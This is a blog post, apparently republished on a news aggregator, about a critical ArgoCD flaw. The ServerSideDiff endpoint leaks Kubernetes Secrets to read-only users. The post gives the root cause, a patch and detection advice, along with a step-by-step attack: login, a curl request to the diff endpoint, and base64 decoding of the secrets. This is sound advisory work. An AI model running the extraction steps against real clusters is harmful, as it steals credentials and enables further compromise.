惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
CERT Recently Published Vulnerability Notes
U
Unit 42
T
The Blog of Author Tim Ferriss
H
Hackread – Cybersecurity News, Data Breaches, AI and More
B
Blog RSS Feed
Microsoft Azure Blog
Microsoft Azure Blog
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
S
Securelist
L
Lohrmann on Cybersecurity
Blog — PlanetScale
Blog — PlanetScale
Recorded Future
Recorded Future
D
DataBreaches.Net
Spread Privacy
Spread Privacy
T
Threat Research - Cisco Blogs
I
Intezer
P
Palo Alto Networks Blog
Simon Willison's Weblog
Simon Willison's Weblog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
I
InfoQ
宝玉的分享
宝玉的分享
Security Latest
Security Latest
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
T
Threatpost
Cisco Talos Blog
Cisco Talos Blog
P
Proofpoint News Feed
博客园 - 司徒正美
H
Hacker News: Front Page
Y
Y Combinator Blog
爱范儿
爱范儿
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
NISL@THU
NISL@THU
月光博客
月光博客
有赞技术团队
有赞技术团队
Cloudbric
Cloudbric
酷 壳 – CoolShell
酷 壳 – CoolShell
G
Google Developers Blog
A
Arctic Wolf
博客园 - 【当耐特】
W
WeLiveSecurity
V
Visual Studio Blog
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
V
V2EX
C
Cyber Attacks, Cyber Crime and Cyber Security
S
SegmentFault 最新的问题
The GitHub Blog
The GitHub Blog
The Cloudflare Blog
Stack Overflow Blog
Stack Overflow Blog

Devoriales - DevOps and Python Tutorials

Cloud & DevOps & AI Digest: The Week of Jun 28, 2026 Cloud & DevOps & AI Digest: The Week of Jun 20, 2026 Ansible for DevOps Engineers: Architecture, Core Concepts, and Hands-On Lab Login Must-Have Kubernetes CLI Tools Every Platform Engineer Should Know Login Login Login Why Your Best Engineers Are Quitting (And How to Stop It) Login Login How Kubernetes Controls What Your Containers Can Do Login Multi-AZ Is Not Disaster Recovery: What the AWS Bahrain Outage Finally Proved Trivy Supply Chain Attack: When Your Security Scanner Becomes the Threat Is Claude Opus 4.6 Fast Mode Really Worth 6× the Price? Login Unlocking Higher Pod Density in EKS with Prefix Delegation AWS Regional NAT Gateway: What It Is and Why You Should Care Kubernetes 1.35 Timbernetes Release AWS re:Invent 2025: The Future of Kubernetes on EKS Debate Series: How Do We Control Deployment Order in Kubernetes? Debate Series: Should We Eliminate Kubernetes Secrets Entirely? Kubernetes CRDs Explained: A Beginner-Friendly Guide to Extending the Kubernetes API Reduce Cloud Cross-Zone Data Transfer Costs with Kubernetes 1.33 trafficDistribution Building Custom Bitnami Images: A Guide for Self-Hosted Container Images New Features in Kubernetes 1.34: An Overview From Free to Fee: How Broadcom's Bitnami Monetization Disrupts DevOps Infrastructure Claude Code Cheat Sheet: The Reference Guide Kubernetes Loses Enterprise Slack Status: Discord Among Platforms Being Considered Understanding Container Security: A Guide to Docker and Pod Security Container Patterns in Kubernetes: Init Containers, Sidecars, and Co-located Containers Explained AWS Launches Serverless MCP Server: AI-Powered Development Gets a Serverless Boost Valve Responds to Alleged Steam Data Breach Reports: What Users Need to Know ArgoCD 3.0: The Evolution Toward Secure GitOps Redis Returns to Open Source: The AGPLv3 Licensing Decision New Features in Kubernetes 1.33: An Overview Prometheus: How We Slashed Memory Usage IngressNightmare: Critical Ingress-NGINX Vulnerabilities and How to Check Your Exposure New Features in Kubernetes 1.32: An Overview What to Consider If You're Not Signing Up for Bitnami Premium Certified Kubernetes Administrator (CKA) Exam Updates for 2025 DeepSeek AI and the Question of the AI Bubble Python Tops the Tiobe Index: The Most Popular Programming Languages - January 2025 2024 in Review: IT Trends, Startups, and What’s Next Inside Argo: The Open-Source Journey Captured in a CNCF Documentary Running Docker on macOS Without Docker Desktop - updated with Kubernetes installation HashiCorp Rolls Out Terraform 2.0 at HashiConf, Keeps IBM Acquisition in the Shadows Is the EU Falling Behind in the Global AI Race? Prometheus Essentials: Node Exporter And System Monitoring Prometheus Essentials: Install and Start Monitoring Your App Prometheus Essentials: Introduction To Metric Types Kubernetes Pod Scheduling Explained: Taints, Tolerations, and Node Affinity Retrieval Augmented Generation (RAG) Explained for Beginners Like Me Using Sealed Secrets with Your Kubernetes Applications
ArgoCD Vulnerability: How the ServerSideDiff Feature Exposes Kubernetes Secrets
Aleksandro Matejic · 2026-05-02 · via Devoriales - DevOps and Python Tutorials

A read-only ArgoCD user can extract every Kubernetes Secret in your cluster.
That's the practical summary of GHSA-3v3m-wc6v-x4x3, a CVSS 9.6 Critical vulnerability affecting ArgoCD versions 3.2.0 through 3.3.8 (GitHub Advisory, 2026). No admin access. No special tooling. One annotation and a diff request.

The vulnerability lives in ArgoCD's ServerSideDiff feature. When an Application has the IncludeMutationWebhook=true annotation, the diff endpoint returns raw Kubernetes API responses that include the full .data contents of Secrets, base64-encoded and trivially decodable. The root cause is a single missing function call: hideSecretData() was wired into every other diff code path but was never added to the ServerSideDiff handler.

This post explains exactly how the vulnerability works, how to reproduce the attack, and how to remediate it. If you're running ArgoCD 3.2.0–3.3.8 in production, patch before reading the rest.

Key Takeaways

  • ArgoCD 3.2.0–3.3.8 has a CVSS 9.6 vulnerability (GHSA-3v3m-wc6v-x4x3) where the ServerSideDiff endpoint leaks plaintext Kubernetes Secrets (GitHub Advisory, 2026)
  • Only a read-only ArgoCD account and one annotation is required to exploit it
  • The root cause is a missing hideSecretData() call in the ServerSideDiff code path
  • Patch immediately to 3.3.9 or 3.2.11

What Is ArgoCD's ServerSideDiff Feature?

ArgoCD has two diff strategies for computing whether a live resource matches its desired state. The default is Client-Side Diff. The newer option, Server-Side Diff, was introduced to handle cases where admission webhooks mutate resources in ways the client-side approach can't predict (ArgoCD Diff Strategies Docs, 2024).

Client-Side Diff works entirely in-process. ArgoCD merges the last-applied-configuration annotation from the live resource with the desired state from Git. No Kubernetes API call is made for the diff computation itself. This approach works well for static resources, but it breaks when admission webhooks inject sidecars, add labels, or set defaults that aren't tracked in the last-applied annotation.

Server-Side Diff solves that problem differently. ArgoCD sends a Server-Side Apply dry-run request to the Kubernetes API server: essentially a kubectl apply --server-side --dry-run=server. The API server computes what the resource would look like after a real apply, including all webhook mutations and managed-field merges, then returns that computed state without persisting anything. ArgoCD calls this the PredictedLive state and diffs it against the actual live resource.

You enable Server-Side Diff per application with this annotation:

metadata:
  annotations:
    argocd.argoproj.io/compare-options: ServerSideDiff=true

Or globally via the argocd-cmd-params-cm ConfigMap:

data:
  controller.diff.server.side: "true"

The IncludeMutationWebhook=true flag goes one step further. It tells ArgoCD to include mutations from mutating admission webhooks in the diff. This is what triggers the vulnerable code path.


How Does Server-Side Apply Dry-Run Work Under the Hood?

Server-Side Apply, introduced in Kubernetes 1.18, changed how field ownership works at the API server level (Kubernetes Server-Side Apply Docs, 2024). Every field in a resource has an owner, tracked in metadata.managedFields. Different controllers own different fields of the same resource.

When ArgoCD sends a dry-run Server-Side Apply request, the API call looks like this:

kubectl apply --server-side --dry-run=server -f my-secret.yaml

Under the hood, that's an HTTP PATCH to the Kubernetes API server:

PATCH /api/v1/namespaces/production/secrets/my-app-credentials?fieldManager=argocd&dryRun=All

The API server receives this request and merges the fields ArgoCD is managing with the fields owned by other field managers, such as kube-controller-manager, external-secrets-operator, or any other controller that has touched the resource. The API server then returns the fully merged resource state as the response — including all fields owned by all managers.

Here's the critical part: if kube-controller-manager owns the .data field of a Secret (common for service account tokens and controller-managed credentials), that .data field appears in the dry-run response. Base64-encoded. Complete. A normal Server-Side Apply response for a Secret looks like this:

apiVersion: v1
kind: Secret
metadata:
  name: my-app-credentials
  namespace: production
  managedFields:
    - manager: kube-controller-manager
      fields:
        f:data: {}
data:
  DB_PASSWORD: cHJvZHVjdGlvblBhc3N3b3Jk
  API_KEY: c2VjcmV0QVBJS2V5MTIz

ArgoCD stores this full response in PredictedLive. That's where the vulnerability begins.


Why Does the ServerSideDiff Endpoint Leak Secrets?

ArgoCD does protect secret data in most code paths. The function hideSecretData() scrubs .data and .stringData fields from Kubernetes Secret resources before the diff result is returned to any API caller. Every standard compare and diff endpoint — GetManifests, GetManifestsWithFiles, GetResource, PatchResource — calls this function. The ServerSideDiff handler, added in the 3.2.x development cycle, never had this call wired in.

The vulnerable code path in server/application/application.go (lines 3051–3062) constructs its response with raw, unmasked states:

// server/application/application.go:3051-3062
responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{
    TargetState:     string(diffRes.PredictedLive),
    LiveState:       string(diffRes.NormalizedLive),
})

There is also a defense mechanism called removeWebhookMutation() that normally strips non-ArgoCD-managed fields from the SSA dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true.

When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the code path skips the defense entirely:

if o.ignoreMutationWebhook {
    predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)
}

The raw Kubernetes SSA dry-run response — which contains real Secret values read from etcd — flows directly into the API response with no masking.

The vulnerable API response for an affected application looks like this:

{
  "predictedLive": {
    "apiVersion": "v1",
    "kind": "Secret",
    "metadata": {
      "name": "my-app-credentials",
      "namespace": "production"
    },
    "data": {
      "DB_PASSWORD": "cHJvZHVjdGlvblBhc3N3b3Jk",
      "API_KEY": "c2VjcmV0QVBJS2V5MTIz"
    }
  }
}

In the patched versions (3.3.9 and 3.2.11), the same response masks the data fields:

{
  "predictedLive": {
    "data": {
      "DB_PASSWORD": "***",
      "API_KEY": "***"
    }
  }
}

The fix is a single hideSecretData() call in the ServerSideDiff response handler. One missing line. CVSS 9.6.

The vulnerability affects secrets where field ownership belongs to a non-ArgoCD field manager. If ArgoCD itself owns the .data fields, the dry-run response only reflects what ArgoCD would write. The sensitive case is when another controller — like kube-controller-manager for service account tokens, or external-secrets-operator for externally synced secrets — owns those fields. The API server dutifully includes them in the merged dry-run response.


Step-by-Step Attack Walkthrough

The scariest part of this attack is how little privilege it requires. Here's the complete sequence.

Step 1: Attacker authenticates as a read-only ArgoCD user. A CI/CD service account token, a developer's read-only credentials, or any account with the default viewer role is sufficient.

argocd login argocd.company.internal --username [email protected] --password readonlypass

Step 2: Identify applications with the vulnerable annotation.

argocd app list
argocd app get my-production-app -o yaml | grep -A2 compare-options

Step 3: Confirm the vulnerable annotation is present.

metadata:
  annotations:
    argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true

Step 4: Trigger a diff via the ArgoCD API. The attacker uses their Bearer token to call the ServerSideDiff endpoint directly.

curl -s -H "Authorization: Bearer $ARGOCD_TOKEN"   "https://argocd.company.internal/api/v1/applications/my-production-app/resource-tree/diff"   | jq '.items[].predictedLive'

This returns the full PredictedLive JSON for every resource in the application, including Secrets.

Step 5: Decode the extracted values. Base64 decoding is trivial.

echo "cHJvZHVjdGlvblBhc3N3b3Jk" | base64 -d
# Output: productionPassword

echo "c2VjcmV0QVBJS2V5MTIz" | base64 -d
# Output: secretAPIKey123

The entire attack — from authentication to plaintext secret — takes under two minutes with basic tooling. The official PoC published with the advisory demonstrates automated extraction across all managed secrets in an application via the gRPC /application.ApplicationService/ServerSideDiff endpoint, covering service account tokens, TLS certificates, and database credentials (GitHub Advisory, 2026).


What's the Real-World Impact?

The most realistic attack scenario isn't a targeted breach. It's opportunistic lateral movement following a credential leak.

CI/CD service accounts with read-only ArgoCD access are extremely common. Jenkins pipelines, GitHub Actions workflows, and GitLab CI jobs routinely receive ArgoCD viewer tokens to check deployment status or wait for sync completion. These tokens frequently end up in environment variable logs, build artifacts, or misconfigured secrets management systems.

An attacker who obtains one of these tokens can enumerate every ArgoCD Application in the cluster. Any application with IncludeMutationWebhook=true becomes an extraction point. The attacker doesn't need to know which specific secrets exist — they trigger a diff on each application and parse the predictedLive fields.

The types of data that can be extracted include:

  • Service account tokens (often owned by kube-controller-manager)
  • TLS certificates and private keys (managed by cert-manager or other controllers)
  • Database passwords synced by external-secrets-operator
  • API keys and third-party service credentials
  • Repository credentials stored as Kubernetes Secrets

The Scope: Changed metric in the CVSS vector (S:C) reflects exactly this. The attacker starts with a compromised ArgoCD viewer token and ends up with credentials that affect resources far outside the ArgoCD system itself. That's what drives the score to 9.6 despite requiring low privileges.


CVSS Vector Breakdown

The CVSS:3.1 vector for this vulnerability is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N with a score of 9.6 (GitHub Advisory, 2026). Each component tells part of the story.

Metric Value Meaning
Attack Vector Network Exploitable over the network via the ArgoCD API
Attack Complexity Low No special conditions, race conditions, or extra configuration required
Privileges Required Low A read-only ArgoCD viewer account is sufficient
User Interaction None No victim action needed; the attacker acts independently
Scope Changed Impacts the Kubernetes cluster beyond ArgoCD itself
Confidentiality High Full secret data is extracted in plaintext
Integrity High Extracted secrets enable further compromise of cluster resources
Availability None ArgoCD and the cluster remain fully operational during exploitation

The Integrity: High rating deserves a note. The vulnerability doesn't directly modify data. But extracted secrets enable integrity violations elsewhere: a leaked database password can lead to data modification, and a leaked TLS private key can enable man-in-the-middle attacks. The CVSS scoring accounts for this downstream impact.


How to Detect and Remediate

This vulnerability has a patch. Upgrade to 3.3.9 or 3.2.11 as soon as possible (GitHub Releases, 2026). Both patched versions were released on April 30, 2026, one day before the advisory was published.

Immediate action: Upgrade ArgoCD.

# Upgrade to the patched version on the 3.3.x branch
helm upgrade argocd argo/argo-cd --version 3.3.9 -n argocd

# Or if you are on the 3.2.x branch
helm upgrade argocd argo/argo-cd --version 3.2.11 -n argocd

For raw manifest installs:

# Non-HA install on 3.3.9
kubectl apply -n argocd --server-side --force-conflicts   -f https://raw.githubusercontent.com/argoproj/argo-cd/v3.3.9/manifests/install.yaml

Find all exposed applications. Run this against your cluster to identify every application carrying the vulnerable annotation:

kubectl get applications -A -o json |   jq '.items[] | select(.metadata.annotations["argocd.argoproj.io/compare-options"] | contains("IncludeMutationWebhook=true")) | .metadata.name'

Workaround if patching is not immediately possible. Remove the annotation from all applications. This disables the vulnerable code path without affecting sync behavior.

kubectl annotate application -A --overwrite   argocd.argoproj.io/compare-options-

Note the trailing hyphen — that removes the annotation rather than setting it.

Detect suspicious ServerSideDiff API calls. Check your ArgoCD audit logs for requests to /api/v1/applications/*/resource-tree/diff from service accounts that don't normally trigger diffs. Unexpected diff calls from CI/CD tokens outside of deployment windows are a potential indicator.

Longer-term hardening. Restrict read-only viewer permissions to explicitly trusted service accounts. Implement ArgoCD project-level RBAC to limit which accounts can view which applications. Not every CI/CD job needs access to production application diffs.


Frequently Asked Questions

Does this affect ArgoCD v2.x?

No. The vulnerability affects ArgoCD versions 3.2.0 through 3.3.8 only. The ServerSideDiff feature with IncludeMutationWebhook=true support was introduced in the 3.x series. ArgoCD 2.x users are not affected by this specific advisory (GitHub Advisory, 2026).

Do I need ServerSideDiff enabled globally to be vulnerable?

No. The vulnerability triggers at the per-application annotation level. Even if you haven't set controller.diff.server.side: "true" globally in argocd-cmd-params-cm, any individual application with argocd.argoproj.io/compare-options: IncludeMutationWebhook=true is vulnerable. The global setting and the per-application annotation are independent triggers.

Is this exploitable without network access to the ArgoCD API?

No. The CVSS Attack Vector is Network (AV:N), meaning the attacker needs to reach the ArgoCD API endpoint. If your ArgoCD API server is strictly internal with no access from the attacker's location, exploitation requires network access first. However, internal CI/CD systems typically do have access to the ArgoCD API.

What's the difference between ServerSideDiff=true and IncludeMutationWebhook=true?

ServerSideDiff=true enables the server-side diff strategy for an application. IncludeMutationWebhook=true is an additional flag that forces the dry-run request to pass through mutating admission webhooks. The vulnerability requires IncludeMutationWebhook=true specifically. You can have ServerSideDiff=true without IncludeMutationWebhook=true and not be vulnerable to this specific issue.

Was this exploited in the wild?

There is no public evidence of in-the-wild exploitation as of May 2026. The GitHub Security Advisory does not indicate known exploitation. However, the low barrier to entry — read-only access and one annotation — makes this straightforward to exploit once the advisory is public. Treat this as actively exploitable and patch immediately.


Summary

The ServerSideDiff handler was added to ArgoCD's 3.2.x codebase without the hideSecretData() call that protects every other diff endpoint. Any authenticated user — including read-only viewers — can extract full Kubernetes Secret data from any application carrying the IncludeMutationWebhook=true annotation.

The CVSS 9.6 score reflects the following: low privilege, no interaction, network-accessible, and the ability to extract credentials that impact the entire cluster. CI/CD service accounts with ArgoCD viewer access are common, and credential leaks from CI/CD environments happen regularly.

ArgoCD 3.3.9 and 3.2.11 both contain the patch. Run the annotation audit query against your cluster today, identify any exposed applications, and upgrade. If upgrading takes time, removing the IncludeMutationWebhook=true annotations is an effective immediate mitigation.


References

  1. GitHub Security Advisory GHSA-3v3m-wc6v-x4x3
  2. ArgoCD Diff Strategies Documentation
  3. Kubernetes Server-Side Apply Documentation
  4. ArgoCD Security Considerations
  5. ArgoCD GitHub Releases